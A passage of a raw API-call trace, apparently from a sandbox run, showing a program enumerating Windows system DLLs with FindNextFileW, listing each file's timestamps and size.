ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0164.216] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="console.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0164.217] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0164.218] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, 